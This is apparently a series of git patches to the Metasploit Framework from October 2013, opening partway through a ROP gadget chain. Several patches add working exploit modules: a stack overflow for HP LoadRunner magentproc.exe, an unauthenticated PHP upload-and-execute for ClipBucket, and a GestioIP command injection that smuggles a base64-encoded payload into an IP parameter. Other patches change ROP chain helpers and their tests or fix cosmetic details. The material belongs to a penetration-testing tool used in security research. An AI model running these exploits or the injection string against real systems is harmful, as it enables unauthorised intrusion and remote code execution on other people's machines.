EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - Filler + JUNK XCHG EAX,ESI # RETN - POP EBP # RETN - PUSH ESP # RETN - POP EBX # RETN - 0x00000400-> ebx - POP EDX # RETN - 0x00000040-> edx - POP ECX # RETN - Writable location - POP EDI # RETN - RETN (ROP NOP) - POP EAX # RETN - nop + POP EBP # RETN + ptr to 'push esp # ret' + POP EAX # RETN + EAX + SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) + POP EBX, RET + .data + XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN + POP ECX # RETN + W pointer (lpOldProtect) (-> ecx) + POP EDI # RETN + ROP NOP (-> edi) + POP EAX # RETN + EAX + SUB EAX, 03c0940f + XCHG EAX,EDX # RETN + POP EAX # RETN + NOP PUSHAD # ADD AL,0EF # RETN From 77d0236b4e5e85600abb5c73ff002eb564274355 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 2 Oct 2013 16:15:14 -0500 Subject: [PATCH 12/68] Don't overwrite defaul timeout --- modules/exploits/windows/misc/hp_operations_agent_coda_34.rb | 4 ++-- modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb index 2c0198d667..09f9c69caf 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_34.rb @@ -126,7 +126,7 @@ user-agent: BBC 11.00.044; coda unknown version connect sock.put(ping_request) - res = sock.get_once(-1, 1) + res = sock.get_once disconnect return res @@ -162,7 +162,7 @@ user-agent: BBC 11.00.044; 14 print_status("#{peer} - Sending HTTP Expect...") sock.put(http_headers) - res = sock.get_once(-1, 1) + res = sock.get_once if not res or res !~ /HTTP\/1\.1 100 Continue/ print_error("#{peer} - Failed while sending HTTP Expect Header") return diff --git a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb index 354ce38303..1603d7fad5 100644 --- a/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb +++ b/modules/exploits/windows/misc/hp_operations_agent_coda_8c.rb @@ -126,7 +126,7 @@ user-agent: BBC 11.00.044; coda unknown version connect sock.put(ping_request) - res = sock.get_once(-1, 1) + res = sock.get_once disconnect return res @@ -162,7 +162,7 @@ user-agent: BBC 11.00.044; 14 print_status("#{peer} - Sending HTTP Expect...") sock.put(http_headers) - res = sock.get_once(-1, 1) + res = sock.get_once if not res or res !~ /HTTP\/1\.1 100 Continue/ print_error("#{peer} - Failed while sending HTTP Expect Header") return From 773abf0567270bc9687b9ef11bf634f8f2ec4fcc Mon Sep 17 00:00:00 2001 From: Tabassassin Date: Wed, 2 Oct 2013 17:16:38 -0500 Subject: [PATCH 14/68] Pow, tab assassinated. --- modules/auxiliary/scanner/http/ektron_cms400net.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 55d3459652..aa742336a4 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Auxiliary end def gen_blank_passwords(users, credentials) - return credentials + return credentials end def run_host(ip) From 1fe0c50df0fdaf3e6a41b52ffb269e01aab11014 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 2 Oct 2013 20:41:02 -0500 Subject: [PATCH 15/68] Ignore unexpected answers --- modules/auxiliary/gather/dns_info.rb | 3 +++ 1 file changed, 3 insertions(+) diff --git a/modules/auxiliary/gather/dns_info.rb b/modules/auxiliary/gather/dns_info.rb index e1d37e3949..836bd4119a 100644 --- a/modules/auxiliary/gather/dns_info.rb +++ b/modules/auxiliary/gather/dns_info.rb @@ -124,6 +124,7 @@ class Metasploit3 < Msf::Auxiliary query = @res.search(host, "A") if query query.answer.each do |rr| + next unless rr.type == "A" record = {} record[:host] = host record[:type] = "A" @@ -134,6 +135,7 @@ class Metasploit3 < Msf::Auxiliary query1 = @res.search(host, "AAAA") if query1 query1.answer.each do |rr| + next unless rr.type == "AAAA" record = {} record[:host] = host record[:type] = "AAAA" @@ -189,6 +191,7 @@ class Metasploit3 < Msf::Auxiliary query = @res.query(target, "TXT") return results if not query query.answer.each do |rr| + next unless rr.type == "TXT" record = {} record[:host] = target record[:text] = rr.txt From fcba42430838c9f40869e847b1058ed2834074b6 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 3 Oct 2013 11:01:27 -0500 Subject: [PATCH 16/68] Kill off EOL spaces on astium_sqli_upload. --- modules/exploits/linux/http/astium_sqli_upload.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/astium_sqli_upload.rb b/modules/exploits/linux/http/astium_sqli_upload.rb index 7680e51546..0319e37bc7 100644 --- a/modules/exploits/linux/http/astium_sqli_upload.rb +++ b/modules/exploits/linux/http/astium_sqli_upload.rb @@ -138,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote phppayload << "$orig = file_get_contents('/usr/local/astium/web/php/config.php');" # Add the payload to the end of "/usr/local/astium/web/php/config.php". Also do a check if we are root, # else during the config reload it might happen that an extra shell is spawned as the apache user. - phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");" + phppayload << "$replacement = base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\");" phppayload << "$f = fopen('/usr/local/astium/web/php/config.php', 'w');" phppayload << "fwrite($f, $orig . \"\");" phppayload << "fclose($f);" @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 120) # If we don't get a 200 when we request our malicious payload, we suspect - # we don't have a shell, either. + # we don't have a shell, either. if res and res.code != 200 print_error("#{peer} - Unexpected response...") end From 539a22a49ef462de4dad7d96687d374450f12c37 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Thu, 3 Oct 2013 12:20:47 -0500 Subject: [PATCH 17/68] Typo on Microsoft --- modules/exploits/windows/browser/ie_setmousecapture_uaf.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb index 3d36d13460..520c8d0067 100644 --- a/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb +++ b/modules/exploits/windows/browser/ie_setmousecapture_uaf.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Micorosft Internet Explorer SetMouseCapture Use-After-Free", + 'Name' => "Microsoft Internet Explorer SetMouseCapture Use-After-Free", 'Description' => %q{ This module exploits a use-after-free vulnerability that currents targets Internet Explorer 9 on Windows 7, but the flaw should exist in versions 6/7/8/9/10/11. @@ -342,4 +342,4 @@ MSHTML!CTreeNode::GetInterface+0xd8: 66e13dfb 8b82c4000000 mov eax,dword ptr [edx+0C4h] 66e13e01 ffd0 call eax -=end \ No newline at end of file +=end From 39eb20e33a9b94042250c2cce821be2d2e0f4c30 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 3 Oct 2013 16:52:20 -0500 Subject: [PATCH 18/68] Add module for ZDI-13-169 --- .../windows/misc/hp_loadrunner_magentproc.rb | 82 +++++++++++++++++++ 1 file changed, 82 insertions(+) create mode 100644 modules/exploits/windows/misc/hp_loadrunner_magentproc.rb diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb new file mode 100644 index 0000000000..b1e228d22c --- /dev/null +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -0,0 +1,82 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::Tcp + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'HP LoadRunner magentproc.exe Overflow', + 'Description' => %q{ + This module exploits a stack buffer overflow in HP LoadRunner before 11.52. The + vulnerability exists on the LoadRunner Agent Process magentproc.exe. By sending + a specially crafted packet, an attacker may be able to execute arbitrary code. + }, + 'Author' => + [ + 'Unknown', # Original discovery # From Tenable Network Security + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-4800'], + ['OSVDB', '95644'], + ['http://www.zerodayinitiative.com/advisories/ZDI-13-169/'] + ], + 'Privileged' => false, + 'DefaultOptions' => + { + 'EXITFUNC' => 'seh', + 'SSL' => true, + 'SSLVersion' => 'SSL3' + }, + 'Payload' => + { + 'Space' => 5724, # without rop chain + 'StackAdjustment' => -3500, + 'BadChars' => "\x00" + }, + 'Platform' => 'win', + 'DefaultTarget' => 0, + 'Targets' => + [ + [ + 'Windows XP SP3 / HP LoadRunner 11.50', + { + # magentproc.exe 11.0.0.1002 + 'Offset' => 1104, + 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates + 'Crash' => 10000 # Length needed to ensure an exception + } + ] + ], + 'DisclosureDate' => 'Jul 27 2013')) + + register_options([Opt::RPORT(443)], self.class) + end + + def exploit + + req = [0xffffffff].pack("N") # Fake Length + req << rand_text(target['Offset']) + req << generate_seh_record(target.ret) + req << payload.encoded + req << rand_text(target['Crash']) + + connect + print_status("sending 1") + sock.put(req) + disconnect + + end +end From 5971fe87f5f6120bb2ba5386e364a780e5568ed8 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 3 Oct 2013 17:19:53 -0500 Subject: [PATCH 19/68] Improve reliability --- .../windows/misc/hp_loadrunner_magentproc.rb | 15 ++++++++------- 1 file changed, 8 insertions(+), 7 deletions(-) diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index b1e228d22c..ba0af35247 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -36,15 +36,16 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'DefaultOptions' => { - 'EXITFUNC' => 'seh', 'SSL' => true, - 'SSLVersion' => 'SSL3' + 'SSLVersion' => 'SSL3', + 'PrependMigrate' => true }, 'Payload' => { - 'Space' => 5724, # without rop chain - 'StackAdjustment' => -3500, - 'BadChars' => "\x00" + 'Space' => 4096, + 'DisableNops' => true, + 'BadChars' => "\x00", + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'DefaultTarget' => 0, @@ -56,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote # magentproc.exe 11.0.0.1002 'Offset' => 1104, 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates - 'Crash' => 10000 # Length needed to ensure an exception + 'Crash' => 6000 # Length needed to ensure an exception } ] ], @@ -74,7 +75,7 @@ class Metasploit3 < Msf::Exploit::Remote req << rand_text(target['Crash']) connect - print_status("sending 1") + print_status("Sending malicious request...") sock.put(req) disconnect From 21afa9defee2679ac9686d446114c80ebce9ebb3 Mon Sep 17 00:00:00 2001 From: OJ Date: Fri, 4 Oct 2013 12:04:18 +1000 Subject: [PATCH 20/68] Meterpreter railgun multi call fix Modifications accommodate changes in the multi-call railgun code that were made to Meterpreter. This also includes a fix for Redmine 8269, so the Windows constants now work correctly with the multi-calls. --- .../extensions/stdapi/railgun/multicall.rb | 17 +++++++++++++---- .../extensions/stdapi/railgun/railgun.rb | 2 +- 2 files changed, 14 insertions(+), 5 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index f35f380da1..9dc000e0bc 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -42,10 +42,13 @@ class MultiCaller include DLLHelper - def initialize( client, parent ) + def initialize( client, parent, win_consts ) @parent = parent @client = client + # needed by DLL helper + @win_consts = win_consts + if( @client.platform =~ /x64/i ) @native = 'Q' else @@ -224,9 +227,17 @@ class MultiCaller rec_out_only_buffers = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT) rec_return_value = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_RET) rec_last_error = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_ERR) + rec_err_msg = response.get_tlv_value(TLV_TYPE_RAILGUN_BACK_MSG) + + # Error messages come back with trailing CRLF, so strip it out + # if we do get a message. + rec_err_msg.strip! if not rec_err_msg.nil? # The hash the function returns - return_hash={"GetLastError" => rec_last_error} + return_hash = { + "GetLastError" => rec_last_error, + "ErrorMessage" => rec_err_msg + } #process return value case function.return_type @@ -303,8 +314,6 @@ class MultiCaller protected - attr_accessor :win_consts - end # MultiCall end; end; end; end; end; end diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb index 0a411b9dc7..0d6642011f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb @@ -290,7 +290,7 @@ class Railgun # def multi(functions) if @multicaller.nil? - @multicaller = MultiCaller.new(client, self) + @multicaller = MultiCaller.new(client, self, ApiConstants.manager) end return @multicaller.call(functions) From 646429b4dd0fd705cb40265a2fa777a1a6a10add Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 3 Oct 2013 22:15:17 -0500 Subject: [PATCH 21/68] Put ready to pull request --- modules/exploits/windows/misc/hp_loadrunner_magentproc.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb index ba0af35247..a028d0f990 100644 --- a/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb +++ b/modules/exploits/windows/misc/hp_loadrunner_magentproc.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote [ 'Windows XP SP3 / HP LoadRunner 11.50', { - # magentproc.exe 11.0.0.1002 + # magentproc.exe 11.50.2042.0 'Offset' => 1104, 'Ret' => 0x7ffc070e, # ppr # from NLS tables # Tested stable over Windows XP SP3 updates 'Crash' => 6000 # Length needed to ensure an exception From 29d1c75d1cb1d4d49030e6403e226770ef017302 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 3 Oct 2013 23:09:23 -0500 Subject: [PATCH 22/68] Update RopDb mixin to allow dynamic payload size for neg This adds a new key to allow a "safe" integer value to NEG. "Safe" means the value does not have any null bytes after the NEG instruction, which is typically used to calculate the payload size. --- lib/rex/exploitation/ropdb.rb | 36 ++++++++++++++++++++++++++++++----- 1 file changed, 31 insertions(+), 5 deletions(-) diff --git a/lib/rex/exploitation/ropdb.rb b/lib/rex/exploitation/ropdb.rb index a72d88ab15..182d6df910 100644 --- a/lib/rex/exploitation/ropdb.rb +++ b/lib/rex/exploitation/ropdb.rb @@ -90,8 +90,10 @@ class RopDb Rex::Text.rand_text(4, badchars).unpack("V")[0].to_i elsif e == :size payload.length - elsif e == :size_negate - 0xffffffff - payload.length + 1 + elsif e == :unsafe_negate_size + get_unsafe_size(payload.length) + elsif e == :safe_negate_size + get_safe_size(payload.length) else e end @@ -105,6 +107,28 @@ class RopDb private + # + # Returns a size that's safe from null bytes. + # This function will keep incrementing the value of "s" until it's safe from null bytes. + # + def get_safe_size(s) + safe_size = get_unsafe_size(s) + while (safe_size.to_s(16).rjust(8, '0')).scan(/../).include?("00") + safe_size -= 1 + end + + safe_size + end + + + # + # Returns a size that might contain one or more null bytes + # + def get_unsafe_size(s) + 0xffffffff - s + 1 + end + + # # Checks if a ROP chain is compatible # @@ -146,8 +170,10 @@ class RopDb gadgets << :junk when 'size' gadgets << :size - when 'size_negate' - gadgets << :size_negate + when 'unsafe_negate_size' + gadgets << :unsafe_negate_size + when 'safe_negate_size' + gadgets << :safe_negate_size else gadgets << value.to_i(16) end @@ -160,4 +186,4 @@ class RopDb end end -end +end \ No newline at end of file From ab62af220b6074c4774ff85f4ec68f5685db5959 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 3 Oct 2013 23:12:58 -0500 Subject: [PATCH 23/68] Use safe_negate_size key for msvcrt (XP) --- data/ropdb/msvcrt.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/ropdb/msvcrt.xml b/data/ropdb/msvcrt.xml index 177767e9c0..2a5416d0c2 100644 --- a/data/ropdb/msvcrt.xml +++ b/data/ropdb/msvcrt.xml @@ -8,7 +8,7 @@ POP EAX # RETN - 0xFFFFFBFF -> ebx + 0xFFFFFBFF -> ebx NEG EAX # POP EBP # RETN JUNK POP EBX # RETN From 63d7b8c309321e684dd1ef3c6273ba11b96de2c3 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 3 Oct 2013 23:13:57 -0500 Subject: [PATCH 24/68] Use safe_negate_size for java --- data/ropdb/java.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/data/ropdb/java.xml b/data/ropdb/java.xml index 1985d5c4d2..3a3959ce84 100644 --- a/data/ropdb/java.xml +++ b/data/ropdb/java.xml @@ -9,7 +9,7 @@ POP EBP # RETN skip 4 bytes POP EAX # RETN - 0x00000201 + 0x00000201 NEG EAX # RETN POP EBX # RETN From bc8604f1510d8492c7c7472878ed8d43d6124df4 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 3 Oct 2013 23:15:29 -0500 Subject: [PATCH 25/68] Use safe_negate_size for hxds --- data/ropdb/hxds.xml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/data/ropdb/hxds.xml b/data/ropdb/hxds.xml index 49c2a0a9a5..5531d05c06 100644 --- a/data/ropdb/hxds.xml +++ b/data/ropdb/hxds.xml @@ -11,7 +11,7 @@ POP EBP # RETN skip 4 bytes POP EBX # RETN - 0x00000201 + Safe size to NEG XCHG EAX, EBX # RETN NEG EAX # RETN XCHG EAX, EBX # RETN @@ -40,7 +40,7 @@ POP EBP # RETN skip 4 bytes POP EBX # RETN - 0x00000201 + Safe size to NEG XCHG EAX, EBX # RETN NEG EAX # POP ESI # RETN JUNK From 81d4a8b8c1abddbb31a37ac8c4de79f0faa1c26a Mon Sep 17 00:00:00 2001 From: xistence Date: Fri, 4 Oct 2013 11:43:38 +0700 Subject: [PATCH 26/68] added clipbucket_upload_exec RCE --- .../unix/webapp/clipbucket_upload_exec.rb | 118 ++++++++++++++++++ 1 file changed, 118 insertions(+) create mode 100644 modules/exploits/unix/webapp/clipbucket_upload_exec.rb diff --git a/modules/exploits/unix/webapp/clipbucket_upload_exec.rb b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb new file mode 100644 index 0000000000..0ef73509db --- /dev/null +++ b/modules/exploits/unix/webapp/clipbucket_upload_exec.rb @@ -0,0 +1,118 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "ClipBucket Remote Code Execution", + 'Description' => %q{ + This module exploits a vulnerability found in ClipBucket version 2.6 and lower. + The script "/admin_area/charts/ofc-library/ofc_upload_image.php" can be used to + upload arbitrary code without any authentication. This module has been tested + on version 2.6 on CentOS 5.9 32-bit. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'xistence ', # Metasploit module + 'Gabby' # Vulnerability Discovery, PoC + ], + 'References' => + [ + [ 'URL', 'http://packetstormsecurity.com/files/123480/ClipBucket-Remote-Code-Execution.html' ] + ], + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => + [ + ['Clipbucket 2.6', {}] + ], + 'Privileged' => false, + 'DisclosureDate' => "Oct 04 2013", + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The base path to the ClipBucket application', '/']) + ], self.class) + end + + def uri + return target_uri.path + end + + def check + # Check version + peer = "#{rhost}:#{rport}" + + print_status("#{peer} - Trying to detect installed version") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "") + }) + + if res and res.code == 200 and res.body =~ /ClipBucket version (\d+\.\d+)/ + version = $1 + else + return Exploit::CheckCode::Unknown + end + + print_status("#{peer} - Version #{version} detected") + + if version > "2.6" + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + peer = "#{rhost}:#{rport}" + payload_name = rand_text_alphanumeric(rand(10) + 5) + ".php" + + print_status("#{peer} - Uploading payload [ #{payload_name} ]") + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(uri, "admin_area", "charts", "ofc-library", "ofc_upload_image.php"), + 'headers' => { 'Content-Type' => 'text/plain' }, + 'vars_get' => { 'name' => payload_name }, + 'data' => payload.encoded + }) + + # If the server returns 200 we assume we uploaded the malicious + # file successfully + if not res or res.code != 200 or res.body !~ /Saving your image to: \.\.\/tmp-upload-images\/(#{payload_name})/ or res.body =~ /HTTP_RAW_POST_DATA/ + fail_with(Failure::None, "#{peer} - File wasn't uploaded, aborting!") + end + + register_files_for_cleanup(payload_name) + + print_status("#{peer} - Executing Payload [ #{uri}/admin_area/charts/tmp-upload-images/#{payload_name} ]" ) + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(uri, "admin_area", "charts", "tmp-upload-images", payload_name) + }) + + # If we don't get a 200 when we request our malicious payload, we suspect + # we don't have a shell, either. + if res and res.code != 200 + print_error("#{peer} - Unexpected response, probably the exploit failed") + end + + end + +end \ No newline at end of file From 41e87d83a67623fedc80c9e46838dbc199fe0979 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Fri, 4 Oct 2013 00:54:07 -0500 Subject: [PATCH 27/68] Add rspec for Rex::Exploitation::RopDb --- spec/lib/rex/exploitation/ropdb_spec.rb | 91 +++++++++++++++++++++++++ 1 file changed, 91 insertions(+) create mode 100644 spec/lib/rex/exploitation/ropdb_spec.rb diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb new file mode 100644 index 0000000000..497200f77e --- /dev/null +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -0,0 +1,91 @@ +require 'rex/exploitation/ropdb' + +describe Rex::Exploitation::RopDb do + context "Class methods" do + + context ".initialize" do + it "should initialize with a path of the ROP database ready" do + ropdb = Rex::Exploitation::RopDb.new + ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/ + end + end + + context ".has_rop?" do + ropdb = Rex::Exploitation::RopDb.new + + it "should find the msvcrt ROP database" do + ropdb.has_rop?("msvcrt").should eq(true) + end + + it "should find the java ROP database" do + ropdb.has_rop?("java").should eq(true) + end + + it "should find the hxds ROP database" do + ropdb.has_rop?("hxds").should eq(true) + end + + it "should find the flash ROP database" do + ropdb.has_rop?("flash").should eq(true) + end + + it "should return false when I supply an invalid database" do + ropdb.has_rop?("sinn3r").should eq(false) + end + end + + context ".select_rop" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return msvcrt gadgets" do + gadgets = ropdb.select_rop('msvcrt') + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets for windows server 2003" do + gadgets = ropdb.select_rop('msvcrt', {'target'=>'2003'}) + gadgets.length.should > 0 + end + + it "should return msvcrt gadgets with a new base" do + gadgets1 = ropdb.select_rop('msvcrt') + gadgets2 = ropdb.select_rop('msvcrt', {'base'=>0x10000000}) + + gadgets2[0].should_not eq(gadgets1[0]) + end + end + + context ".generate_rop_payload" do + ropdb = Rex::Exploitation::RopDb.new + + it "should generate my ROP payload" do + ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ + end + + it "should generate my ROP payload with my stack pivot" do + ropdb.generate_rop_payload('msvcrt', 'AAAA', {'pivot'=>'BBBB'}).should =~ /^BBBB/ + end + end + + context ".get_safe_size" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) + end + + it "should return 0xfffffeff (value is modified to avoid null bytes)" do + ropdb.send(:get_safe_size, 256).should eq(0xfffffeff) + end + end + + context ".get_unsafe_size" do + ropdb = Rex::Exploitation::RopDb.new + + it "should return 0xfffffc00 (contains a null byte)" do + ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) + end + end + + end +end \ No newline at end of file From 0112d6253c367cab60fcc2773d007e91b84e15d7 Mon Sep 17 00:00:00 2001 From: Brandon Perry Date: Fri, 4 Oct 2013 06:39:30 -0700 Subject: [PATCH 28/68] add gestio ip module --- modules/exploits/multi/http/gestioip_exec.rb | 81 ++++++++++++++++++++ 1 file changed, 81 insertions(+) create mode 100644 modules/exploits/multi/http/gestioip_exec.rb diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb new file mode 100644 index 0000000000..24cf47d293 --- /dev/null +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -0,0 +1,81 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'GestioIP Remote Command Execution', + 'Description' => %q{ + This module exploits a command injection flaw to create a shell script + on the FS and execute it. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'bperry' #Initial Discovery and metasploit module + ], + 'References' => + [ + ], + 'Payload' => + { + 'Space' => 475, # not a lot of room + 'DisableNops' => true, + 'BadChars' => "#", + }, + 'Platform' => [ 'unix', 'win', 'linux' ], + 'Arch' => ARCH_CMD, + 'Targets' => [[ 'Automatic GestioIP 3.0', { }]], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 3 2011', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('URI', [true, 'URI', '/gestioip/']), + OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), + OptString.new('PASSWORD', [false, 'The password to auth with', 'password']), + OptBool.new('USE_AUTH', [true, 'Whether to attempt basic authentication or not', false]) + ], self.class) + end + + def uri + datastore['URI'] + end + + def user + datastore['USERNAME'] + end + + def pass + datastore['PASSWORD'] + end + + def use_auth + datastore['USE_AUTH'] + end + + def exploit + headers = {} + if use_auth + headers['Authorization'] = "Basic " + Rex::Text.encode_base64("#{user}:#{pass}") + end + + pay = Rex::Text.encode_base64(payload.encoded) + file = Rex::Text.rand_text_alpha(8); + send_request_cgi({ + 'uri' => uri+"ip_checkhost.cgi?ip=2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}"+file+"&&sh${IFS}"+file+"):0000:0000:0000:0000:0004&hostname=fsd&client_id=1&ip_version=", + 'headers' => headers + }) + end +end From ab786d14660eb2194328585717c724b712ce557b Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 4 Oct 2013 09:54:04 -0500 Subject: [PATCH 29/68] Imply authentication when a password is set --- modules/exploits/multi/http/gestioip_exec.rb | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 24cf47d293..ebed263e2a 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -17,7 +17,9 @@ class Metasploit4 < Msf::Exploit::Remote 'Name' => 'GestioIP Remote Command Execution', 'Description' => %q{ This module exploits a command injection flaw to create a shell script - on the FS and execute it. + on the filesystem and execute it. If GestioIP is configured to use no authentication, + no password is required to exploit the vulnerability. Otherwise, an authenticated + user is required to exploit. }, 'License' => MSF_LICENSE, 'Author' => @@ -44,8 +46,7 @@ class Metasploit4 < Msf::Exploit::Remote [ OptString.new('URI', [true, 'URI', '/gestioip/']), OptString.new('USERNAME', [false, 'The username to auth as', 'gipadmin']), - OptString.new('PASSWORD', [false, 'The password to auth with', 'password']), - OptBool.new('USE_AUTH', [true, 'Whether to attempt basic authentication or not', false]) + OptString.new('PASSWORD', [false, 'The password to auth with', nil]) ], self.class) end @@ -62,7 +63,7 @@ class Metasploit4 < Msf::Exploit::Remote end def use_auth - datastore['USE_AUTH'] + !(pass.nil? or pass.empty?) end def exploit From 9b79bb99e0a650b6d92d88945df7be1a4652209c Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Fri, 4 Oct 2013 09:59:26 -0500 Subject: [PATCH 30/68] Add references, correct disclosure date --- modules/exploits/multi/http/gestioip_exec.rb | 5 ++++- 1 file changed, 4 